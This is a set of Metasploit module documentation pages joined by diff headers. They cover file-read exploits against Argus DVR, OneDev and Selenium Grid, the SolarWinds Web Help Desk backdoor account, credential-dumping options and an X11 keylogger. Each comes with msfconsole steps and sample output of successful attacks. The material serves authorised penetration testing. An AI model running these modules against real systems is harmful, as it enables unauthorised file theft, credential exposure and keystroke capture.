To setup a test environment, the following steps can be performed:
1. Set up a Windows operating system (any OS that has C:\Windows\system.ini)
2. Download the [Argus DVR 4 Software](https://download.cnet.com/argus-surveillance-dvr/3000-2348_4-10576796.html)
3. Run the Argus software and a webpage running on port 8080 will appear. Take note of the machine's IP
4. On your attacker machine follow the verification steps below.
## Verification Steps
1. start msfconsole
2. `use auxiliary/gather/argus_dvr4_lfi_cve_2018_15745`
3. `set RHOSTS <TARGET_IP_ADDRESS>`
4. `set TARGET_FILE Windows/system.ini`
5. `run`
## Scenarios
### Utilising Argus DVR 4 CVE-2018-15745 to Leak DVRParams.ini
```
msf6 > use auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745
msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set RHOSTS 192.168.1.15
RHOSTS => 192.168.1.15
msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set TARGET_FILE ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini
TARGET_FILE => ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini
msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > run
[*] Running module against 192.168.1.15
[*] Sending request to 192.168.1.15:8080 for file: ProgramData/PY_Software/Argus%20Surveillance%20DVR/DVRParams.ini
[+] File retrieved successfully!
[Main]
ServerName=
ServerLocation=
ServerDescription=
ReadH=0
UseDialUp=0
DialUpConName=
DialUpDisconnectWhenDone=0
DIALUPUSEDEFAULTS" checked checked
[*] Auxiliary module execution completed
```
@@ -9,7 +9,9 @@ along with info about which vulnerable certificate templates the certificate ser
allows enrollment in and which SIDs are authorized to use that certificate server to
perform this enrollment operation.
Currently the module is capable of checking for ESC1, ESC2, and ESC3 vulnerable certificates.
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC13,
and ESC15. The module is limited to checking for these techniques due to them being identifiable remotely from
a normal user account by analyzing the objects in LDAP.
### Installing AD CS
1. Install AD CS on either a new or existing domain controller
@@ -0,0 +1,135 @@
## Vulnerable Application
OneDev is a Git Server with CI/CD, kanban, and packages.
This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8.
This vulnerability arises due to the lack of user-input sanitization of path traversal sequences `..` in the `ProjectBlobPage.java` file.
To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor
can view existing projects without authentication.
However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach.
By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability.
## Installation
OneDev provides docker images for a quick setup process.
A vulnerable version (`v11.0.8`) can be found [here](https://hub.docker.com/r/1dev/server/tags?name=11.0.8).
Installation instructions can be found [here](https://docs.onedev.io/).
## Verification Steps
1. Install the OneDev application
2. Start msfconsole
3. Do: `use auxiliary/gather/onedev_arbitrary_file_read`
4. Set the `RHOSTS` and `RPORT` options as necessary
5. Set the `TARGETFILE` option with the absolute path of the target file to read
If a valid project name is known:
6. Set the `PROJECT_NAME` option with the known project name
7. Do: `run`
8. If the file exists, the contents will be displayed to the user
If there is no information about existing projects:
6. Set the `PROJECT_NAMES_FILE` option with the absolute path of a wordlist that contains multiple possible values for a valid project name
7. Do: `run`
8. If a valid project name is found, the target file contents will be displayed to the user
## Options
### PROJECT_NAME
A valid OneDev project name is required to exploit the vulnerability. If anonymous access is enabled on the OneDev server,
any visitor can see the existing projects, and collect a valid project name. On the other hand, if anonymous access is disabled,
the user needs to have previous knowledge of a valid project name or use the `PROJECT_NAMES_FILE` option to find one through brute force.
### PROJECT_NAMES_FILE
Absolute path of a wordlist containing multiple possible values for valid project names. Once this option is set,
the module will verify whether a given project exists for each word.
### TARGETFILE
Absolute file path of the target file to be retrieved from the OneDev server. Set as `/etc/passwd` by default.
### STORE_LOOT
If set as `true`, the target file contents will be stored as loot. Set as `false` by default.
## Scenarios
### Example: Known project name or anonymous access enabled on OneDev 11.0.8
```
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610
RPORT => 6610
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME myproject
PROJECT_NAME => myproject
msf6 auxiliary(gather/onedev_arbitrary_file_read) > run
[*] Running module against 192.168.1.10
[+] Target file retrieved with success
[*] root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
[*] Auxiliary module execution completed
```
### Example: Unknown projects with anonymous access disabled on OneDev 11.0.8
```
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610
RPORT => 6610
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAMES_FILE /home/server/wordlist.txt
PROJECT_NAMES_FILE => /home/server/wordlist.txt
msf6 auxiliary(gather/onedev_arbitrary_file_read) > run
[*] Running module against 192.168.1.10
[*] Brute forcing valid project name ...
[+] 192.168.1.10:6610 - Found valid OneDev project name: myproject
[+] Target file retrieved with success
[*] root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
[*] Auxiliary module execution completed
```
@@ -0,0 +1,299 @@
## Vulnerable Application
If there is an open selenium web driver, a remote attacker can send requests to the victims browser.
In certain cases this can be used to access to the remote file system.
The vulnerability affects:
* all version of open Selenium Server (Grid)
This module was successfully tested on:
* selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
* selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
* selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
* selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
* selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04
* selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04
### Installation
1. `docker pull selenium/standalone-firefox:3.141.59`
2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59`
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use auxiliary/gather/selenium_file_read`
4. Do: `run rhost=<rhost>`
5. You should get a file content
## Options
### SCHEME (Required)
This is the scheme to use. Default is `file`.
### FILEPATH (Required)
This is the file to read. Default is `/etc/passwd`.
### BROWSER (Required)
This is the browser to use. Default is `firefox`.
### TIMEOUT (required)
This is the amount of time (in seconds) that the module will wait for the payload to be
executed. Defaults to 75 seconds.
## Scenarios
### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
```
msf6 > use auxiliary/gather/selenium_file_read
msf6 auxiliary(gather/selenium_file_read) > options
Module options (auxiliary/gather/selenium_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
BROWSER firefox yes The browser to use (Accepted: firefox, chrome, MicrosoftEdge)
FILEPATH /etc/passwd yes File to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 4444 yes The target port (TCP)
SCHEME file yes The scheme to use
SSL false no Negotiate SSL/TLS for outgoing connections
TIMEOUT 75 yes Timeout for exploit (seconds)
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445
[*] Running module against 192.168.56.16
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 3.141.59 detected
[*] Started session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14).
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
seluser:x:1200:1201::/home/seluser:/bin/bash
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
[*] Failed to delete the session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
[*] Auxiliary module execution completed
```
### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
```
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446
[*] Running module against 192.168.56.16
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
[*] Started session (eb790e48-318a-4949-a7ff-8566f181a609).
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
seluser:x:1200:1201::/home/seluser:/bin/bash
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
rtkit:x:104:105:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
[*] Failed to delete the session (eb790e48-318a-4949-a7ff-8566f181a609). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
[*] Auxiliary module execution completed
```
### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
```
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447
[*] Running module against 192.168.56.16
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
[*] Started session (2b4d313e-6e42-4c33-8bc8-630103269ef7).
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
seluser:x:1200:1201::/home/seluser:/bin/bash
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
[*] Failed to delete the session (2b4d313e-6e42-4c33-8bc8-630103269ef7). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
[*] Auxiliary module execution completed
```
### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
```
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448
[*] Running module against 192.168.56.16
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
[*] Started session (599a7d03-1eca-41f3-8726-3a192104dfc1).
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
seluser:x:1200:1201::/home/seluser:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
[*] Failed to delete the session (599a7d03-1eca-41f3-8726-3a192104dfc1). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
[*] Auxiliary module execution completed
```
### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04
```
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4453 BROWSER=chrome
[*] Running module against 192.168.56.16
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
[*] Started session (363b104ba9d167f434518d3eb1add0c6).
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
seluser:x:1200:1201::/home/seluser:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
[*] Deleted session (363b104ba9d167f434518d3eb1add0c6).
[*] Auxiliary module execution completed
```
### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04
```
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4454 BROWSER=MicrosoftEdge
[*] Running module against 192.168.56.16
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
[*] Started session (80c4ac70d41d4ffc5585e750c94d9ac5).
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
seluser:x:1200:1201::/home/seluser:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
[*] Deleted session (80c4ac70d41d4ffc5585e750c94d9ac5).
[*] Auxiliary module execution completed
```
@@ -0,0 +1,73 @@
## Vulnerable Application
This module exploits a backdoor in SolarWinds Web Help Desk <= v12.8.3 (CVE-2024-28987) to retrieve all tickets from the system.
## Testing
The software can be obtained from
[the vendor](https://downloads.solarwinds.com/solarwinds/Release/WebHelpDesk/12.8.1/WebHelpDesk-12.8.1-x64_eval.exe).
Installation instructions are available [here]
(https://documentation.solarwinds.com/en/success_center/whd/content/whd_installation_guide.htm).
**Successfully tested on**
- SolarWinds Web Help Desk v12.8.1 on Windows 22H2
## Verification Steps
1. Install and run the application
2. Start `msfconsole` and run the following commands:
```
msf6 > use auxiliary/gather/solarwinds_webhelpdesk_backdoor
msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > set RHOSTS <IP>
msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > run
```
This should return all the tickets from the Web Help Desk platform.
## Options
### TICKET_COUNT
The number of tickets to dump to the terminal.
## Scenarios
Running the exploit against Web Help Desk v12.8.1 on Windows 22H2 should result in an output similar to the following:
```
msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > run
[*] Running module against 192.168.217.145
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Authenticating with the backdoor account "helpdeskIntegrationUser"...
[+] Successfully authenticated and tickets retrieved. Displaying the first 2 tickets retrieved:
[+] [
{
"id": 2,
"type": "Ticket",
"lastUpdated": "2024-09-25T08:54:13Z",
"shortSubject": "Password reset",
"shortDetail": "Hi,\r\n\r\nhere is your super secure password: foo\r\n\r\nYour IT Support",
"displayClient": "No Client",
"updateFlagType": 2,
"prettyLastUpdated": "13 hours ago",
"latestNote": null
},
{
"id": 1,
"type": "Ticket",
"lastUpdated": "2024-09-25T05:15:17Z",
"shortSubject": "Welcome to Web Help Desk",
"shortDetail": "Congratulations! You have successfully installed Web Help Desk. Further configuration options are...",
"displayClient": "Demo Client",
"updateFlagType": 2,
"prettyLastUpdated": "17 hours ago",
"latestNote": null
}
]
[+] Saved 2 tickets to /home/asdf/.msf4/loot/20240926004744_default_unknown_solarwinds_webhe_825328.txt
[*] Auxiliary module execution completed
```
@@ -27,7 +27,7 @@ Solino.
### Setup
A privileged user is required to run this module, typically a local or domain
Administrator. It has been tested against multiple Windows versions, from
Windows XP/Server 2003 to Windows 10/Server version 2004.
Windows XP/Server 2003 to Windows 10/Server version 2022.
## Verification Steps
1. Start msfconsole
@@ -53,6 +53,18 @@ Windows XP/Server 2003 to Windows 10/Server version 2004.
Use inline technique to read protected keys from the registry remotely without
saving the hives to disk (default: true).
### KRB_USERS
Restrict retrieving domain information to the users or groups specified. This
is a comma-separated list of Active Directory groups and users. This parameter
is only utilised for domain replication (`action` set to `DOMAIN` or `ALL`).
`set KRB_USERS "user1,user2,Domain Admins"
### KRB_TYPES
Restrict retrieving domain information to a specific type of account; either
`USERS_ONLY` or `COMPUTERS_ONLY`, or `ALL` to retrieve all accounts. This
parameter is only utilised for domain replication (`action` set to `DOMAIN` or
`ALL`). It is ignored if `KRB_USERS` is also set.
## Actions
### ALL
@@ -0,0 +1,171 @@
## Vulnerable Application
This module binds to an open X11 host to log keystrokes. The X11 service can accept
connections from any users when misconfigured with the command `xhost +`.
This module is a close copy of the old xspy c program which has been on Kali for a long time.
The module works by connecting to the X11 session, creating a background
window, binding a keyboard to it and creating a notification alert when a key
is pressed.
One of the major limitations of xspy, and thus this module, is that it polls
at a very fast rate, faster than a key being pressed is released (especially before
the repeat delay is hit). To combat printing multiple characters for a single key
press, repeat characters arent printed when typed in a very fast manor. This is also
an imperfect keylogger in that keystrokes arent stored and forwarded but status
displayed at poll time. Keys may be repeated or missing.
### Ubuntu 10.04
1. `sudo nano /etc/gdm/gdm.schemas`
2. Find:
```
<schema>
<key>security/DisallowTCP</key>
<signature>b</signature>
<default>true</default>
</schema>
```
- Change `true` to `false`
3. logout or reboot
4. Verification: ```sudo netstat -antp | grep 6000```
```
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X
```
5. Now, to verify you allow ANYONE to get on X11, type: `xhost +`
### Ubuntu 12.04, 14.04
1. `sudo nano /etc/lightdm/lightdm.conf`
2. Under the `[SeatDefaults]` area, add:
```
xserver-allow-tcp=true
allow-guest=true
```
3. logout or reboot
4. Verification: ```sudo netstat -antp | grep 6000```
```
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X
```
5. Now, to verify you allow ANYONE to get on X11, type: `xhost +`
### Ubuntu 16.04
Use the Ubuntu 12.04 instructions, however change `SeatDefaults` to `Seat:*`
### Fedora 15
1. `vi /etc/gdm/custom.conf`
2. Under the `[security]` area, add:
```
DisallowTCP=false
```
3. logout/reboot
4. Now, to verify you allow ANYONE to get on X11, type: `xhost +`
### Solaris 10
1. `svccfg -s svc:/application/x11/x11-server setprop options/tcp_listen = true`
2. `svc disable cde-login`
3. `svc enable cde-login`
4. `xhost +`
### Ubuntu 22.04
#### Server
Getting X11 to listen on a TCP port is rather taxing, so we use socat to facilitate instead.
1. `sudo apt-get install ubuntu-desktop socat` # overkill but it gets everything we need
2. `sudo reboot` # prob a good idea since so much was installed
3. `sudo xhost +` # must be done through gui, not through SSH
4. `socat -d -d TCP-LISTEN:6000,fork,bind=<IP to listen to here> UNIX-CONNECT:/tmp/.X11-unix/X0`, you may need to use `X1` instead of `X0` depending on context.
## Verification Steps
1. Configure X11 to listen on port 6000, or use `socat` to open a socket.
1. Start msfconsole
1. Do: `use auxiliary/gather/x11_keyboard_spy`
1. Do: `set rhosts [IP]`
1. Do: `run`
1. You should print keystrokes as they're pressed
## Options
### LISTENER_TIMEOUT
How many seconds to keylog for.
If set to `0`, wait forever. Defaults to `600`, 10 minutes.
### PRINTERVAL
The interval to print keylogs in seconds. Defaults to `60`.
## Scenarios
### Ubuntu 22.04
```
[*] Processing xspy.rb for ERB directives.
resource (xspy.rb)> use auxiliary/gather/x11_keyboard_spy
resource (xspy.rb)> set verbose true
verbose => true
resource (xspy.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(gather/x11_keyboard_spy) > run
[*] Running module against 127.0.0.1
[*] 127.0.0.1:6000 - Establishing TCP Connection
[*] 127.0.0.1:6000 - [1/9] Establishing X11 connection
[-] 127.0.0.1:6000 - Connection packet malformed (size: 8192), attempting to get read more data
[+] 127.0.0.1:6000 - Successfully established X11 connection
[*] 127.0.0.1:6000 - Version: 11.0
[*] 127.0.0.1:6000 - Screen Resolution: 958x832
[*] 127.0.0.1:6000 - Resource ID: 33554432
[*] 127.0.0.1:6000 - Screen root: 1320
[*] 127.0.0.1:6000 - [2/9] Checking on BIG-REQUESTS extension
[+] 127.0.0.1:6000 - Extension BIG-REQUESTS is present with id 134
[*] 127.0.0.1:6000 - [3/9] Enabling BIG-REQUESTS
[*] 127.0.0.1:6000 - [4/9] Creating new graphical context
[*] 127.0.0.1:6000 - [5/9] Checking on XKEYBOARD extension
[+] 127.0.0.1:6000 - Extension XKEYBOARD is present with id 136
[*] 127.0.0.1:6000 - [6/9] Enabling XKEYBOARD
[*] 127.0.0.1:6000 - [7/9] Requesting XKEYBOARD map
[*] 127.0.0.1:6000 - [8/9] Enabling notification on keyboard and map
[*] 127.0.0.1:6000 - [9/9] Creating local keyboard map
[+] 127.0.0.1:6000 - All setup, watching for keystrokes
